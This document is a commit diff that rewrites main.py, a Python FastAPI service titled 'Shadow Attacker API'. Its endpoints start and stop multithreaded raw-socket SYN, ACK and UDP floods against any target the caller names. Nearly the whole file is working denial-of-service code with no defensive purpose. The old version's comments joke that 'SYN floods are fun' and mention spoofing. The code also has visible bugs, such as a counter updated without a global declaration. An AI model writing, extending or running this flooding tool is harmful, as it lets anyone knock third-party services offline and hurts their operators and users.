Update main.py
Browse files
main.py
CHANGED
|
@@ -1,240 +1,228 @@
|
|
| 1 |
-
|
| 2 |
-
|
|
|
|
| 3 |
import socket
|
| 4 |
import struct
|
| 5 |
-
import
|
| 6 |
-
import
|
| 7 |
-
import
|
| 8 |
-
from typing import Optional
|
| 9 |
-
import
|
| 10 |
-
|
| 11 |
-
|
| 12 |
-
|
| 13 |
-
|
| 14 |
-
|
| 15 |
-
|
| 16 |
-
|
| 17 |
-
|
| 18 |
-
|
| 19 |
-
|
| 20 |
-
|
| 21 |
-
|
| 22 |
-
|
| 23 |
-
|
| 24 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 25 |
else:
|
| 26 |
-
|
| 27 |
-
|
| 28 |
-
|
| 29 |
-
|
| 30 |
-
|
| 31 |
-
def
|
| 32 |
-
"""
|
| 33 |
-
src = socket.inet_aton(src_ip)
|
| 34 |
-
dst = socket.inet_aton(dst_ip)
|
| 35 |
-
return struct.pack(
|
| 36 |
-
"!4s4sBBH",
|
| 37 |
-
src,
|
| 38 |
-
dst,
|
| 39 |
-
0, # Reserved
|
| 40 |
-
proto,
|
| 41 |
-
length,
|
| 42 |
-
)
|
| 43 |
-
|
| 44 |
-
def build_udp_packet(src_ip: str, dst_ip: str, src_port: int, dst_port: int, payload: bytes) -> bytes:
|
| 45 |
-
"""Build a raw UDP packet (because UDP is fire-and-forget)."""
|
| 46 |
-
# IP Header
|
| 47 |
-
ip_header = struct.pack(
|
| 48 |
-
"!BBHHHBBH4s4s",
|
| 49 |
-
0x45, # Version/IHL
|
| 50 |
-
0x00, # ToS
|
| 51 |
-
20 + 8 + len(payload), # Total Length
|
| 52 |
-
random.randint(0, 65535), # ID
|
| 53 |
-
0x0000, # Flags/Frag Offset
|
| 54 |
-
64, # TTL
|
| 55 |
-
17, # Protocol (UDP)
|
| 56 |
-
0, # Checksum (filled later)
|
| 57 |
-
socket.inet_aton(src_ip),
|
| 58 |
-
socket.inet_aton(dst_ip),
|
| 59 |
-
)
|
| 60 |
-
ip_checksum = checksum(ip_header)
|
| 61 |
-
ip_header = ip_header[:10] + struct.pack("!H", ip_checksum) + ip_header[12:]
|
| 62 |
-
|
| 63 |
-
# UDP Header
|
| 64 |
-
udp_header = struct.pack(
|
| 65 |
-
"!HHHH",
|
| 66 |
-
src_port,
|
| 67 |
-
dst_port,
|
| 68 |
-
8 + len(payload), # UDP Length
|
| 69 |
-
0, # Checksum (filled later)
|
| 70 |
-
)
|
| 71 |
-
udp_checksum = checksum(pseudo_header(src_ip, dst_ip, 17, 8 + len(payload)) + udp_header + payload)
|
| 72 |
-
udp_header = udp_header[:6] + struct.pack("!H", udp_checksum) + udp_header[8:]
|
| 73 |
-
|
| 74 |
-
return ip_header + udp_header + payload
|
| 75 |
-
|
| 76 |
-
def build_tcp_packet(
|
| 77 |
-
src_ip: str,
|
| 78 |
-
dst_ip: str,
|
| 79 |
-
src_port: int,
|
| 80 |
-
dst_port: int,
|
| 81 |
-
seq: int,
|
| 82 |
-
ack: int,
|
| 83 |
-
flags: int,
|
| 84 |
-
) -> bytes:
|
| 85 |
-
"""Build a raw TCP packet (because SYN floods are fun)."""
|
| 86 |
-
# IP Header
|
| 87 |
-
ip_header = struct.pack(
|
| 88 |
-
"!BBHHHBBH4s4s",
|
| 89 |
-
0x45, # Version/IHL
|
| 90 |
-
0x00, # ToS
|
| 91 |
-
20 + 20, # Total Length (IP + TCP)
|
| 92 |
-
random.randint(0, 65535), # ID
|
| 93 |
-
0x0000, # Flags/Frag Offset
|
| 94 |
-
64, # TTL
|
| 95 |
-
6, # Protocol (TCP)
|
| 96 |
-
0, # Checksum (filled later)
|
| 97 |
-
socket.inet_aton(src_ip),
|
| 98 |
-
socket.inet_aton(dst_ip),
|
| 99 |
-
)
|
| 100 |
-
ip_checksum = checksum(ip_header)
|
| 101 |
-
ip_header = ip_header[:10] + struct.pack("!H", ip_checksum) + ip_header[12:]
|
| 102 |
-
|
| 103 |
-
# TCP Header
|
| 104 |
-
tcp_header = struct.pack(
|
| 105 |
-
"!HHLLBBHHH",
|
| 106 |
-
src_port,
|
| 107 |
-
dst_port,
|
| 108 |
-
seq,
|
| 109 |
-
ack,
|
| 110 |
-
(5 << 4), # Data Offset
|
| 111 |
-
flags,
|
| 112 |
-
0xFFFF, # Window Size
|
| 113 |
-
0, # Checksum (filled later)
|
| 114 |
-
0, # Urgent Pointer
|
| 115 |
-
)
|
| 116 |
-
tcp_checksum = checksum(
|
| 117 |
-
pseudo_header(src_ip, dst_ip, 6, 20) + tcp_header
|
| 118 |
-
)
|
| 119 |
-
tcp_header = tcp_header[:16] + struct.pack("!H", tcp_checksum) + tcp_header[18:]
|
| 120 |
-
|
| 121 |
-
return ip_header + tcp_header
|
| 122 |
-
|
| 123 |
-
def get_local_ip(dst_ip: str) -> str:
|
| 124 |
-
"""Get local IP for routing (because we need to spoof properly)."""
|
| 125 |
try:
|
| 126 |
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
| 127 |
-
s.connect((dst_ip, 53))
|
| 128 |
-
|
| 129 |
s.close()
|
| 130 |
-
return
|
| 131 |
except:
|
| 132 |
-
return "0.0.0.0"
|
| 133 |
-
|
| 134 |
-
def
|
| 135 |
-
"""
|
| 136 |
-
|
| 137 |
-
|
| 138 |
-
|
| 139 |
-
|
| 140 |
-
|
| 141 |
-
|
| 142 |
-
|
| 143 |
-
|
| 144 |
-
|
| 145 |
-
|
| 146 |
-
|
| 147 |
-
|
| 148 |
-
|
| 149 |
-
|
| 150 |
-
|
| 151 |
-
|
| 152 |
-
|
| 153 |
-
|
| 154 |
-
|
| 155 |
-
|
| 156 |
-
|
| 157 |
-
|
| 158 |
-
|
| 159 |
-
|
| 160 |
-
|
| 161 |
-
|
| 162 |
-
|
| 163 |
-
|
| 164 |
-
|
| 165 |
-
|
| 166 |
-
|
| 167 |
-
|
| 168 |
-
|
| 169 |
-
|
| 170 |
-
|
| 171 |
-
|
| 172 |
-
|
| 173 |
-
|
| 174 |
-
|
| 175 |
-
|
| 176 |
-
|
| 177 |
-
|
| 178 |
-
|
| 179 |
-
|
| 180 |
-
|
| 181 |
-
|
| 182 |
-
|
| 183 |
-
|
| 184 |
-
|
| 185 |
-
|
| 186 |
-
|
| 187 |
-
|
| 188 |
-
|
| 189 |
-
|
| 190 |
-
|
| 191 |
-
|
| 192 |
-
|
| 193 |
-
|
| 194 |
-
|
| 195 |
-
|
| 196 |
-
|
| 197 |
-
|
| 198 |
-
|
| 199 |
-
|
| 200 |
-
|
| 201 |
-
|
| 202 |
-
|
| 203 |
-
|
| 204 |
-
|
| 205 |
-
|
| 206 |
-
|
| 207 |
-
|
| 208 |
-
|
| 209 |
-
|
| 210 |
-
|
| 211 |
-
|
| 212 |
-
|
| 213 |
-
|
| 214 |
-
|
| 215 |
-
|
| 216 |
-
)
|
| 217 |
-
|
| 218 |
-
|
| 219 |
-
|
| 220 |
-
|
| 221 |
-
|
| 222 |
-
|
| 223 |
-
|
| 224 |
-
|
| 225 |
-
|
| 226 |
-
|
| 227 |
-
|
| 228 |
-
|
| 229 |
-
|
| 230 |
-
|
| 231 |
-
|
| 232 |
-
|
| 233 |
-
|
| 234 |
-
)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 235 |
|
| 236 |
@app.post("/stop")
|
| 237 |
-
async def
|
| 238 |
-
|
| 239 |
-
|
| 240 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import asyncio
|
| 2 |
+
import logging
|
| 3 |
+
import random
|
| 4 |
import socket
|
| 5 |
import struct
|
| 6 |
+
import threading
|
| 7 |
+
import time
|
| 8 |
+
from datetime import datetime
|
| 9 |
+
from typing import Dict, Optional
|
| 10 |
+
from threading import Lock
|
| 11 |
+
|
| 12 |
+
import uvicorn
|
| 13 |
+
from fastapi import FastAPI, HTTPException, BackgroundTasks
|
| 14 |
+
from pydantic import BaseModel
|
| 15 |
+
|
| 16 |
+
# Configure logging
|
| 17 |
+
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
|
| 18 |
+
logger = logging.getLogger(__name__)
|
| 19 |
+
|
| 20 |
+
app = FastAPI(title="Shadow Attacker API")
|
| 21 |
+
|
| 22 |
+
# Global state (thread-safe)
|
| 23 |
+
attack_running = False
|
| 24 |
+
stop_events: Dict[str, threading.Event] = {}
|
| 25 |
+
counters: Dict[str, int] = {}
|
| 26 |
+
total_packets = 0
|
| 27 |
+
counters_lock = Lock()
|
| 28 |
+
|
| 29 |
+
class StartRequest(BaseModel):
|
| 30 |
+
target: str # e.g., "example.com" or "192.168.1.1"
|
| 31 |
+
port: Optional[int] = None
|
| 32 |
+
threads: int = 10
|
| 33 |
+
attack_type: str = "udp" # "syn", "ack", "udp", "udp_pps"
|
| 34 |
+
|
| 35 |
+
class StatusResponse(BaseModel):
|
| 36 |
+
running: bool
|
| 37 |
+
attack_id: Optional[str]
|
| 38 |
+
total_packets: int
|
| 39 |
+
counters: Dict[str, int]
|
| 40 |
+
logs: list
|
| 41 |
+
|
| 42 |
+
def checksum(msg: bytes) -> int:
|
| 43 |
+
"""Calculate IP/TCP/UDP checksum."""
|
| 44 |
+
s = 0
|
| 45 |
+
for i in range(0, len(msg), 2):
|
| 46 |
+
if i + 1 < len(msg):
|
| 47 |
+
w = msg[i] << 8 | msg[i + 1]
|
| 48 |
+
else:
|
| 49 |
+
w = msg[i] << 8
|
| 50 |
+
s += w
|
| 51 |
+
while s >> 16:
|
| 52 |
+
s = (s & 0xFFFF) + (s >> 16)
|
| 53 |
+
return ~s & 0xFFFF
|
| 54 |
+
|
| 55 |
+
def pseudo_checksum(src_ip: bytes, dst_ip: bytes, proto: int, length: int) -> int:
|
| 56 |
+
"""Pseudo header checksum for TCP/UDP."""
|
| 57 |
+
s = 0
|
| 58 |
+
# Source IP
|
| 59 |
+
s += (src_ip[0] << 8) + src_ip[1]
|
| 60 |
+
s += (src_ip[2] << 8) + src_ip[3]
|
| 61 |
+
# Dest IP
|
| 62 |
+
s += (dst_ip[0] << 8) + dst_ip[1]
|
| 63 |
+
s += (dst_ip[2] << 8) + dst_ip[3]
|
| 64 |
+
s += proto
|
| 65 |
+
s += length
|
| 66 |
+
while s >> 16:
|
| 67 |
+
s = (s & 0xFFFF) + (s >> 16)
|
| 68 |
+
return s
|
| 69 |
+
|
| 70 |
+
def resolve_target(host: str) -> bytes:
|
| 71 |
+
"""Resolve target IP."""
|
| 72 |
+
try:
|
| 73 |
+
if ':' in host:
|
| 74 |
+
ip = socket.inet_aton(host)
|
| 75 |
else:
|
| 76 |
+
ip = socket.inet_aton(socket.gethostbyname(host))
|
| 77 |
+
return ip
|
| 78 |
+
except:
|
| 79 |
+
raise ValueError(f"Invalid target: {host}")
|
| 80 |
+
|
| 81 |
+
def get_local_ip(dst_ip: bytes) -> bytes:
|
| 82 |
+
"""Get local source IP for routing to dst."""
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 83 |
try:
|
| 84 |
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
| 85 |
+
s.connect((socket.inet_ntoa(dst_ip), 53))
|
| 86 |
+
src_ip = s.getsockname()[0]
|
| 87 |
s.close()
|
| 88 |
+
return socket.inet_aton(src_ip)
|
| 89 |
except:
|
| 90 |
+
return socket.inet_aton("0.0.0.0")
|
| 91 |
+
|
| 92 |
+
def build_ip_header(src_ip: bytes, dst_ip: bytes, proto: int, total_len: int) -> bytes:
|
| 93 |
+
"""Build IP header."""
|
| 94 |
+
ip = bytearray(20)
|
| 95 |
+
ip[0] = 0x45 # Version 4, IHL 5
|
| 96 |
+
ip[1] = 0x00 # TOS
|
| 97 |
+
struct.pack_into('!H', ip, 2, total_len)
|
| 98 |
+
struct.pack_into('!H', ip, 4, random.randint(1, 65535)) # ID
|
| 99 |
+
struct.pack_into('!H', ip, 6, 0x40) # Flags + Fragment offset
|
| 100 |
+
ip[8] = 64 # TTL
|
| 101 |
+
ip[9] = proto
|
| 102 |
+
struct.pack_into('!H', ip, 10, 0) # Checksum placeholder
|
| 103 |
+
ip[12:16] = src_ip
|
| 104 |
+
ip[16:20] = dst_ip
|
| 105 |
+
# Calculate IP checksum
|
| 106 |
+
ip_cs = checksum(bytes(ip))
|
| 107 |
+
struct.pack_into('!H', ip, 10, ip_cs)
|
| 108 |
+
return bytes(ip)
|
| 109 |
+
|
| 110 |
+
def build_tcp_header(src_port: int, dst_port: int, seq: int, ack: int, flags: int, length: int) -> bytes:
|
| 111 |
+
"""Build TCP header (20 bytes)."""
|
| 112 |
+
tcp = bytearray(20)
|
| 113 |
+
struct.pack_into('!HH', tcp, 0, src_port, dst_port)
|
| 114 |
+
struct.pack_into('!II', tcp, 4, seq, ack)
|
| 115 |
+
tcp[12] = 0x50 # Data offset 5, reserved 0
|
| 116 |
+
tcp[13] = flags # Flags
|
| 117 |
+
struct.pack_into('!H', tcp, 14, 65535) # Window
|
| 118 |
+
struct.pack_into('!H', tcp, 16, 0) # Checksum placeholder
|
| 119 |
+
struct.pack_into('!H', tcp, 18, 0) # Urgent pointer
|
| 120 |
+
return bytes(tcp)
|
| 121 |
+
|
| 122 |
+
def build_udp_header(src_port: int, dst_port: int, length: int) -> bytes:
|
| 123 |
+
"""Build UDP header (8 bytes)."""
|
| 124 |
+
udp = bytearray(8)
|
| 125 |
+
struct.pack_into('!HHHH', udp, 0, src_port, dst_port, length, 0) # Checksum placeholder
|
| 126 |
+
return bytes(udp)
|
| 127 |
+
|
| 128 |
+
def build_tcp_packet(src_ip: bytes, dst_ip: bytes, src_port: int, dst_port: int, seq: int, ack: int, flags: int) -> bytes:
|
| 129 |
+
"""Build full TCP SYN/ACK packet."""
|
| 130 |
+
tcp_hdr = build_tcp_header(src_port, dst_port, seq, ack, flags, 20)
|
| 131 |
+
ip_hdr = build_ip_header(src_ip, dst_ip, socket.IPPROTO_TCP, 40)
|
| 132 |
+
pseudo = pseudo_checksum(src_ip, dst_ip, socket.IPPROTO_TCP, 20)
|
| 133 |
+
tcp_cs = checksum(struct.pack('!H', pseudo) + tcp_hdr)
|
| 134 |
+
struct.pack_into('!H', tcp_hdr, 16, tcp_cs)
|
| 135 |
+
return ip_hdr + tcp_hdr
|
| 136 |
+
|
| 137 |
+
def build_udp_packet(src_ip: bytes, dst_ip: bytes, src_port: int, dst_port: int, payload: bytes) -> bytes:
|
| 138 |
+
"""Build full UDP packet."""
|
| 139 |
+
udp_len = 8 + len(payload)
|
| 140 |
+
udp_hdr = build_udp_header(src_port, dst_port, udp_len)
|
| 141 |
+
ip_hdr = build_ip_header(src_ip, dst_ip, socket.IPPROTO_UDP, 28 + len(payload))
|
| 142 |
+
pseudo = pseudo_checksum(src_ip, dst_ip, socket.IPPROTO_UDP, udp_len)
|
| 143 |
+
udp_cs = checksum(struct.pack('!H', pseudo) + udp_hdr + payload)
|
| 144 |
+
struct.pack_into('!H', udp_hdr, 6, udp_cs)
|
| 145 |
+
return ip_hdr + udp_hdr
|
| 146 |
+
|
| 147 |
+
async def flood_worker(attack_id: str, dst_ip: bytes, src_ip: bytes, dst_port: int, payload: bytes, stop_event: threading.Event, attack_type: str):
|
| 148 |
+
"""Worker thread for flooding."""
|
| 149 |
+
s = None
|
| 150 |
+
try:
|
| 151 |
+
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
|
| 152 |
+
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
|
| 153 |
+
while not stop_event.is_set():
|
| 154 |
+
src_port = random.randint(1024, 65535)
|
| 155 |
+
if attack_type == "syn":
|
| 156 |
+
pkt = build_tcp_packet(src_ip, dst_ip, src_port, dst_port, random.randint(0, 2**32-1), 0, 0x02)
|
| 157 |
+
elif attack_type == "ack":
|
| 158 |
+
pkt = build_tcp_packet(src_ip, dst_ip, src_port, dst_port, random.randint(0, 2**32-1), random.randint(0, 2**32-1), 0x10)
|
| 159 |
+
else: # udp or udp_pps
|
| 160 |
+
pkt = build_udp_packet(src_ip, dst_ip, src_port, dst_port, payload)
|
| 161 |
+
s.sendto(pkt, (socket.inet_ntoa(dst_ip), 0))
|
| 162 |
+
with counters_lock:
|
| 163 |
+
counters[attack_id] = counters.get(attack_id, 0) + 1
|
| 164 |
+
total_packets += 1
|
| 165 |
+
await asyncio.sleep(0.001) # Yield to event loop
|
| 166 |
+
except Exception as e:
|
| 167 |
+
logger.error(f"Worker error: {e}")
|
| 168 |
+
finally:
|
| 169 |
+
if s:
|
| 170 |
+
s.close()
|
| 171 |
+
|
| 172 |
+
def start_background_attack(req: StartRequest):
|
| 173 |
+
"""Start attack in background threads."""
|
| 174 |
+
attack_id = f"{req.target}_{int(time.time())}"
|
| 175 |
+
stop_event = threading.Event()
|
| 176 |
+
stop_events[attack_id] = stop_event
|
| 177 |
+
dst_ip = resolve_target(req.target)
|
| 178 |
+
src_ip = get_local_ip(dst_ip)
|
| 179 |
+
dst_port = req.port or random.randint(1, 65535)
|
| 180 |
+
payload = b''.join(bytes([random.randint(0, 255)]) for _ in range(1200)) if req.attack_type == "udp" else b''
|
| 181 |
+
mutate = req.attack_type == "udp"
|
| 182 |
+
|
| 183 |
+
def run_threads():
|
| 184 |
+
threads = []
|
| 185 |
+
for _ in range(req.threads):
|
| 186 |
+
t = threading.Thread(target=lambda: asyncio.run(flood_worker(attack_id, dst_ip, src_ip, dst_port, payload, stop_event, req.attack_type)))
|
| 187 |
+
t.start()
|
| 188 |
+
threads.append(t)
|
| 189 |
+
for t in threads:
|
| 190 |
+
t.join()
|
| 191 |
+
|
| 192 |
+
thread = threading.Thread(target=run_threads)
|
| 193 |
+
thread.start()
|
| 194 |
+
logger.info(f"Started {req.attack_type} attack on {req.target}:{dst_port} with {req.threads} threads")
|
| 195 |
+
return attack_id
|
| 196 |
+
|
| 197 |
+
@app.post("/start")
|
| 198 |
+
async def start_attack(req: StartRequest, background_tasks: BackgroundTasks):
|
| 199 |
+
global attack_running
|
| 200 |
+
if attack_running:
|
| 201 |
+
raise HTTPException(status_code=400, detail="Attack already running")
|
| 202 |
+
attack_running = True
|
| 203 |
+
attack_id = start_background_attack(req)
|
| 204 |
+
return {"message": "Attack started", "attack_id": attack_id}
|
| 205 |
|
| 206 |
@app.post("/stop")
|
| 207 |
+
async def stop_attack(attack_id: Optional[str] = None):
|
| 208 |
+
global attack_running
|
| 209 |
+
if attack_id:
|
| 210 |
+
stop_events.get(attack_id, threading.Event()).set()
|
| 211 |
+
del counters[attack_id]
|
| 212 |
+
else:
|
| 213 |
+
for ev in stop_events.values():
|
| 214 |
+
ev.set()
|
| 215 |
+
counters.clear()
|
| 216 |
+
attack_running = False
|
| 217 |
+
return {"message": "Attack stopped"}
|
| 218 |
+
|
| 219 |
+
@app.get("/status", response_model=StatusResponse)
|
| 220 |
+
async def get_status(attack_id: Optional[str] = None):
|
| 221 |
+
with counters_lock:
|
| 222 |
+
total = total_packets
|
| 223 |
+
cnts = {k: v for k, v in counters.items()} if not attack_id else {attack_id: counters.get(attack_id, 0)}
|
| 224 |
+
logs = [] # Fetch recent logs (simplified; in prod, use a queue or file)
|
| 225 |
+
return StatusResponse(running=attack_running, attack_id=attack_id, total_packets=total, counters=cnts, logs=logs)
|
| 226 |
+
|
| 227 |
+
if __name__ == "__main__":
|
| 228 |
+
uvicorn.run(app, host="0.0.0.0", port=8000)
|